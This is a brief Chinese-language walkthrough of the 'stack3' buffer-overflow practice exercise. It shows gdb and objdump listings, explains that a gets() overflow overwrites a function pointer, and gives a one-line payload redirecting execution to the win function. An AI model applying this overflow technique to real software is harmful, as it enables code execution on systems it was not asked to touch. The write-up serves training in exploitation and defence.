- (gdb) disass main
- Dump of assembler code for function main:
- 0x08048438 <main+0>: push ebp
- 0x08048439 <main+1>: mov ebp,esp
- 0x0804843b <main+3>: and esp,0xfffffff0
- 0x0804843e <main+6>: sub esp,0x60
- 0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0
- 0x08048449 <main+17>: lea eax,[esp+0x1c]
- 0x0804844d <main+21>: mov DWORD PTR [esp],eax
- 0x08048450 <main+24>: call 0x8048330 <gets@plt>
- 0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
- 0x0804845a <main+34>: je 0x8048477 <main+63>
- 0x0804845c <main+36>: mov eax,0x8048560
- 0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
- 0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
- 0x08048469 <main+49>: mov DWORD PTR [esp],eax
- 0x0804846c <main+52>: call 0x8048350 <printf@plt>
- 0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
- 0x08048475 <main+61>: call eax
- 0x08048477 <main+63>: leave
- 0x08048478 <main+64>: ret
- End of assembler dump.
复制代码 这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了
这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。- objdump -d stack3
- 08048424 <win>:
- 8048424: 55 push %ebp
- 8048425: 89 e5 mov %esp,%ebp
- 8048427: 83 ec 18 sub $0x18,%esp
- 804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp)
- 8048431: e8 2a ff ff ff call 8048360 <puts@plt>
- 8048436: c9 leave
- 8048437: c3 ret
复制代码 找到了win函数的地址
现在只需要修改函数指针的地址到win函数即可。- payload: print 64*"a"+"\x24\x84\x04\x08"
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |